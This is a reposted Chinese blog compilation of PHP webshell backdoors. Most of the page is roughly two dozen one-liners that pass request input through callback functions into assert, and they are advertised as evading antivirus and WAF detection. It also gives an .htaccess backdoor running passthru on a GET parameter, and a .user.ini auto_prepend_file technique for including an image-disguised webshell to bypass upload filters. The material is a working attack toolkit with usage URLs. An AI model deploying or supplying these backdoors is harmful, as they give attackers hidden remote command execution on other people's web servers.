PHP后门一句话-汇总

Dear 丶 2023-10-12 07:59 62阅读 0赞

## 无特征PHP一句话木马 ##

分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。（少部分一句话需要php5.4.8 、或sqlite/pdo/yaml/memcached扩展等）

原理：[https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html][https_www.leavesongs.com_PENETRATION_php-callback-backdoor.html]

所有一句话使用方法基本都是：http:// target/shell.php?e=assert 密码pass

<table style="width:499px;"> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(<span>$_POST[<span>'pass'],);</span></span></span></span> 
    </div> 
    <div> 
     <span>array_filter($<span>arr, <span>$e);</span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(<span>$_POST[<span>'pass'],);</span></span></span></span> 
    </div> 
    <div> 
     <span>array_map($<span>e, <span>$arr);</span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(<span>'test', <span>$_REQUEST[<span>'pass']);</span></span></span></span></span> 
    </div> 
    <div> 
     <span>uasort($<span>arr, <span>$e);</span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div>
      $e = $_REQUEST[ 
     <span>'e'];</span> 
    </div> 
    <div>
      $arr = 
     <span>array(<span>'test' =&gt; <span>1, $_REQUEST[<span>'pass'] =&gt; <span>2);</span></span></span></span></span> 
    </div> 
    <div>
      uksort($arr, $e); 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> </td> 
   <td> 
    <div>
      $arr = 
     <span>new ArrayObject(<span>array(<span>'test', $_REQUEST[<span>'pass']));</span></span></span></span> 
    </div> 
    <div>
      $arr-&gt;uasort( 
     <span>'assert');</span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> </td> 
   <td> 
    <div>
      $arr = 
     <span>new ArrayObject(<span>array(<span>'test' =&gt; <span>1, $_REQUEST[<span>'pass'] =&gt; <span>2));</span></span></span></span></span></span> 
    </div> 
    <div>
      $arr-&gt;uksort( 
     <span>'assert');</span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(1);</span></span> 
    </div> 
    <div> 
     <span>array_reduce($<span>arr, <span>$e, <span>$_POST[<span>'pass']);</span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> 
    <div>
      4 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(<span>$_POST[<span>'pass']);</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr2 = array(1);</span></span> 
    </div> 
    <div> 
     <span>array_udiff($<span>arr, <span>$arr2, <span>$e);</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(<span>$_POST[<span>'pass'] =&gt; <span>'|.*|e',);</span></span></span></span></span> 
    </div> 
    <div> 
     <span>array_walk($<span>arr, <span>$e, <span>'');</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>arr = array(<span>$_POST[<span>'pass'] =&gt; <span>'|.*|e',);</span></span></span></span></span> 
    </div> 
    <div> 
     <span>array_walk_recursive($<span>arr, <span>$e, <span>'');</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> </td> 
   <td> 
    <div>
      mb_ereg_replace( 
     <span>'.*', $_REQUEST[<span>'pass'], <span>'', <span>'e')<span>;</span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> </td> 
   <td> 
    <div> 
     <span>echo preg_filter(<span>'|.*|e', <span>$_REQUEST[<span>'pass'], <span>'');</span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div>
      ob_start( 
     <span>'assert');</span> 
    </div> 
    <div> 
     <span>echo <span>$_REQUEST[<span>'pass'];</span></span></span> 
    </div> 
    <div>
      ob_end_flush(); 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>register_shutdown_function($<span>e, <span>$_REQUEST[<span>'pass']);</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div>
      declare(ticks=1); 
    </div> 
    <div> 
     <span>register_tick_function($<span>e, <span>$_REQUEST[<span>'pass']);</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> </td> 
   <td> 
    <div>
      filter_var($_REQUEST[ 
     <span>'pass'], FILTER_CALLBACK, <span>array(<span>'options' =&gt; <span>'assert'));</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> </td> 
   <td> 
    <div>
      filter_var_array( 
     <span>array(<span>'test' =&gt; $_REQUEST[<span>'pass']), <span>array(<span>'test' =&gt; <span>array(<span>'filter' =&gt; FILTER_CALLBACK, <span>'options' =&gt; <span>'assert')));</span></span></span></span></span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> 
    <div>
      4 
    </div> 
    <div>
      5 
    </div> </td> 
   <td> 
    <div>
      $e = $_REQUEST[ 
     <span>'e'];</span> 
    </div> 
    <div>
      $db = 
     <span>new PDO(<span>'sqlite:sqlite.db3');</span></span> 
    </div> 
    <div>
      $db-&gt;sqliteCreateFunction( 
     <span>'myfunc', $e, <span>1);</span></span> 
    </div> 
    <div>
      $sth = $db-&gt;prepare( 
     <span>"SELECT myfunc(:exec)");</span> 
    </div> 
    <div>
      $sth-&gt;execute( 
     <span>array(<span>':exec' =&gt; $_REQUEST[<span>'pass']));</span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> 
    <div>
      4 
    </div> 
    <div>
      5 
    </div> 
    <div>
      6 
    </div> </td> 
   <td> 
    <div> 
     <span>$<span>e = <span>$_REQUEST[<span>'e'];</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>db = new SQLite3(<span>'sqlite.db3');</span></span></span> 
    </div> 
    <div> 
     <span>$<span>db-&gt;createFunction(<span>'myfunc', <span>$e);</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>stmt = <span>$db-&gt;prepare(<span>"SELECT myfunc(?)");</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>stmt-&gt;bindValue(1, <span>$_REQUEST[<span>'pass'], SQLITE3_TEXT);</span></span></span></span> 
    </div> 
    <div> 
     <span>$<span>stmt-&gt;execute();</span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> 
    <div>
      4 
    </div> 
    <div>
      5 
    </div> </td> 
   <td> 
    <div>
      $str = urlencode($_REQUEST[ 
     <span>'pass']);</span> 
    </div> 
    <div>
      $yaml = 
     <span>&lt;&lt;&lt;EOD</span> 
    </div> 
    <div> 
     <span>greeting: !<span>{$str} "|. |e"</span></span> 
    </div> 
    <div> 
     <span>EOD;</span> 
    </div> 
    <div>
      $parsed = yaml_parse($yaml, 
     <span>0, $cnt, <span>array(<span>"!{$_REQUEST['pass']}" =&gt; <span>'preg_replace'));</span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> 
    <div>
      3 
    </div> </td> 
   <td> 
    <div> 
     <span>$mem = new Memcache()<span>;</span></span> 
    </div> 
    <div> 
     <span>$re = <span>$mem-&gt;addServer(<span>'localhost', <span>11211, TRUE, <span>100, <span>0, -<span>1, TRUE, create_function(<span>'<span>$a,<span>$b,<span>$c,<span>$d,<span>$e', <span>'return assert(<span>$a);'))<span>;</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 
    </div> 
    <div> 
     <span>$mem-&gt;connect(<span>$_REQUEST[<span>'pass'], <span>11211, <span>0)<span>;</span></span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> </td> 
   <td> 
    <div>
      preg_replace_callback( 
     <span>'/. /i', create_function(<span>'<span>$arr', <span>'return assert(<span>$arr[0]);'), <span>$_REQUEST[<span>'pass'])<span>;</span></span></span></span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> </td> 
   <td> 
    <div>
      mb_ereg_replace_callback( 
     <span>'. ', create_function(<span>'<span>$arr', <span>'return assert(<span>$arr[0]);'), <span>$_REQUEST[<span>'pass'])<span>;</span></span></span></span></span></span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> 
    <div>
      1 
    </div> 
    <div>
      2 
    </div> </td> 
   <td> 
    <div>
      $iterator = 
     <span>new CallbackFilterIterator(<span>new ArrayIterator(<span>array($_REQUEST[<span>'pass'],)), create_function(<span>'$a', <span>'assert($a);'));</span></span></span></span></span></span> 
    </div> 
    <div> 
     <span>foreach ($iterator <span>as $item) { <span>echo $item;}</span></span></span> 
    </div> </td> 
  </tr> 
 </tbody> 
</table>

## 用.htaccess做更隐蔽的后门 ##

#首先允许web访问这个文件
    
    <Files ~ "^\.ht">
    Order allow,deny
    Allow from all
    </Files>
    
    RedirectMatch 403 .htaccess$
    #.htaccess结尾的403错误，这里是为了增加隐蔽性
    
    AddType application/x-httpd-php .htaccess
    #给.htaccess映射php拓展
    
    ### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
    #恶意的php代码

使用方法:http://localhost/.htaccess/?c=dir

## user.ini文件构成的PHP后门 ##

--------------------

那么什么是.user.ini？

这得从php.ini说起了。php.ini是php默认的配置文件，其中包括了很多php的配置，这些配置中，又分为几种：`PHP_INI_SYSTEM`、`PHP_INI_PERDIR`、`PHP_INI_ALL`、`PHP_INI_USER`。 在此可以查看：[http://php.net/manual/zh/ini.list.php][http_php.net_manual_zh_ini.list.php] 这几种模式有什么区别？看看官方的解释：

![enter image description here][]

其中就提到了，模式为PHP\_INI\_USER的配置项，可以在ini\_set()函数中设置、注册表中设置，再就是.user.ini中设置。 这里就提到了.user.ini，那么这是个什么配置文件？那么官方文档在[这里][Link 1]又解释了：

除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（`$_SERVER['DOCUMENT_ROOT']` 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。

在 `.user.ini` 风格的 INI 文件中只有具有 PHP\_INI\_PERDIR 和 PHP\_INI\_USER 模式的 INI 设置可被识别。

这里就很清楚了，`.user.ini`实际上就是一个可以由用户“自定义”的php.ini，我们能够自定义的设置是模式为“PHP\_INI\_PERDIR 、 PHP\_INI\_USER”的设置。（上面表格中没有提到的PHP\_INI\_PERDIR也可以在.user.ini中设置）

实际上，除了`PHP_INI_SYSTEM`以外的模式（包括PHP\_INI\_ALL）都是可以通过.user.ini来设置的。

而且，和`php.ini`不同的是，`.user.ini`是一个能被动态加载的ini文件。也就是说我修改了`.user.ini`后，不需要重启服务器中间件，只需要等待`user_ini.cache_ttl`所设置的时间（默认为300秒），即可被重新加载。

然后我们看到php.ini中的配置项，可惜我沮丧地发现，只要稍微敏感的配置项，都是`PHP_INI_SYSTEM`模式的（甚至是php.ini only的），包括`disable_functions`、`extension_dir`、`enable_dl`等。 不过，我们可以很容易地借助`.user.ini`文件来构造一个“后门”。

Php配置项中有两个比较有意思的项（下图第一、四个）：

![enter image description here][enter image description here 1]

`auto_append_file`、`auto_prepend_file`，点开看看什么意思：

![enter image description here][enter image description here 2]

指定一个文件，自动包含在要执行的文件前，类似于在文件前调用了require()函数。而auto\_append\_file类似，只是在文件后面包含。 使用方法很简单，直接写在.user.ini中：

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以，我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件，而这个文件可以是一个正常php文件，也可以是一个包含一句话的webshell。

测试一下，我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini，和包含webshell的01.gif，和正常php文件echo.php：

![enter image description here][enter image description here 3]

![enter image description here][enter image description here 4]

访问echo.php即可看到后门：

![enter image description here][enter image description here 5]

Nginx下同样：

![enter image description here][enter image description here 6]

![enter image description here][enter image description here 7]

那么，我们可以猥琐地想一下，在哪些情况下可以用到这个姿势？ 比如，某网站限制不允许上传.php文件，你便可以上传一个.user.ini，再上传一个图片马，包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件，否则也不能包含了。 再比如，你只是想隐藏个后门，这个方式是最方便的。

转载于:https://www.cnblogs.com/Risk2S/p/11452697.html

[https_www.leavesongs.com_PENETRATION_php-callback-backdoor.html]: https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
[http_php.net_manual_zh_ini.list.php]: http://php.net/manual/zh/ini.list.php
[enter image description here]: https://wooyun.js.org/images_result/images/2014103002272568560.png
[Link 1]: http://php.net/manual/zh/configuration.file.per-user.php
[enter image description here 1]: https://wooyun.js.org/images_result/images/2014103002272554789.png
[enter image description here 2]: https://wooyun.js.org/images_result/images/2014103002272569525.png
[enter image description here 3]: https://wooyun.js.org/images_result/images/2014103002272563350.png
[enter image description here 4]: https://wooyun.js.org/images_result/images/2014103002272650870.png
[enter image description here 5]: https://wooyun.js.org/images_result/images/2014103002272652570.png
[enter image description here 6]: https://wooyun.js.org/images_result/images/2014103002272682946.png
[enter image description here 7]: https://wooyun.js.org/images_result/images/2014103002272674827.png